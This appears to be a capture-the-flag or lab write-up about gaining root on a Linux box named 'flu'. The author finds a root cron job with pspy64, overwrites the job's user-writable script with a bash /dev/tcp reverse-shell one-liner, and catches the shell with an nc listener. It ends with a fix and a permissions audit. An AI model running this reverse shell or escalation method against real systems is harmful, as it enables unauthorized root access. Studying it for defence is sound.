Cron jobs are one of the best privilege escalation vectors on Linux precisely because they’re invisible to a low-privilege user by default — ps aux only shows you what you’re allowed to see, and root’s scheduled tasks fire silently in the background. The trick isn’t finding a misconfigured cron job. It’s finding one at all.
That’s what pspy64 is for.
The Setup
I had a foothold as confluence on a box running an internal Confluence instance (flu), landed after popping a shell through the web application itself. confluence isn’t a privileged account, and a standard ps aux only showed processes owned by that user or below — nothing running as root ever appeared, because there was nothing currently visible to snapshot.
Rather than guessing at cron schedules or polling ps in a loop and hoping to get lucky, I pulled down pspy64, a process snooping tool that watches /proc directly for new processes as they’re created — including ones spawned by root that exit before a manual ps call would ever catch them.
Enumeration
Running pspy64 and letting it sit for a couple of scheduling cycles surfaced exactly what I needed:
./pspy64

2026/03/15 10:32:01 CMD: UID=0 PID=43718 | /usr/sbin/CRON -f -P
2026/03/15 10:32:01 CMD: UID=0 PID=43720 | /bin/sh /opt/log-backup.sh
2026/03/15 10:33:01 CMD: UID=0 PID=43724 | /bin/sh /opt/log-backup.sh
2026/03/15 10:34:01 CMD: UID=0 PID=43728 | /bin/sh /opt/log-backup.sh
Same script, /opt/log-backup.sh, executed as UID=0 on a repeating one-minute schedule via cron. That’s a root-owned scheduled task, running consistently enough to give me a reliable window to act.
The next question was simple: can I modify that file?
ls -al /opt

-rwxr-xr-x 1 confluence confluence 56 Mar 15 10:29 log-backup.sh
The script was owned by confluence — my own user — despite being executed by root’s crontab. That’s the entire vulnerability in one ls -al line: root trusts a file that a non-root user fully controls.
Exploitation
I overwrote the script with a reverse shell one-liner:
echo 'bash -c "bash -i >& /dev/tcp/192.168.45.236/443 0>&1"' > log-backup.sh
Then set up a listener and waited for the next cron tick:
nc -lnvp 443
Within a minute, cron fired the scheduled job exactly as it had been doing all along — except this time, the script content was mine.

listening on [any] 443 ...
connect to [192.168.45.236] from (UNKNOWN) [192.168.239.41] 48782
root@flu:~# cd /root
root@flu:~# ls
root@flu — the shell connected back as root, no further steps required. Cron did the privilege escalation for me the moment it re-ran the script on schedule.
Why This Works
Cron doesn’t care who wrote the file it’s about to execute — it only cares about the path listed in the crontab entry and whether it’s executable. If /opt/log-backup.sh is world-writable, or writable by a specific unprivileged user, then whatever content sits in that file at execution time runs with the privileges of the crontab owner, not the privileges of whoever last edited it.
Root’s crontab said, in effect, “run this file as root every minute.” It never verified that the file’s contents hadn’t been swapped out by someone else in between runs. Since I had write access to that exact path, I fully controlled what “run this file” actually meant the next time the schedule fired.
pspy64 is what made the whole chain visible in the first place. Without root privileges, there’s no way to ps aux your way into seeing another user’s process table entries — the kernel simply won’t show them to you through normal means. pspy64 sidesteps that by polling /proc/*/status and inotify-watching process directories as they appear, which requires no elevated privilege at all, just the ability to read /proc.
Root Cause
The root cause is a permissions mismatch between the crontab owner and the script owner: root scheduled a job pointing at a file that a lower-privileged user could freely modify. This is an extremely common pattern in environments where a script was originally written and tested by an application user, then wired into root’s crontab for “reliability,” without anyone tightening the file’s ownership or permissions afterward.
Fix:
# Move the script under root ownership with no group/other write access
chown root:root /opt/log-backup.sh
chmod 700 /opt/log-backup.sh
# Audit every entry in root's crontab for scripts owned by non-root users
for f in $(grep -oE '/[^ ]+\.sh' /etc/crontab /etc/cron.d/* 2>/dev/null); do
ls -la "$f"
done
More generally: any file that a privileged scheduled task touches should be owned by that same privileged account, with write access locked down to it alone.
Key Takeaways
- Standard
ps auxonly shows processes you already have visibility into — it won’t reveal short-lived root processes you have no privilege to see pspy64fills that gap by watching/procdirectly, no elevated privileges required, making it one of the highest-value enumeration tools for finding cron-based escalation paths- Any time you find a root-owned cron job, immediately check the permissions and ownership of the script it invokes — not just the crontab entry itself
- A world- or user-writable script that root executes on a schedule is a guaranteed root shell the moment you can write to it and wait for the next tick
Questions? Hit me up on X.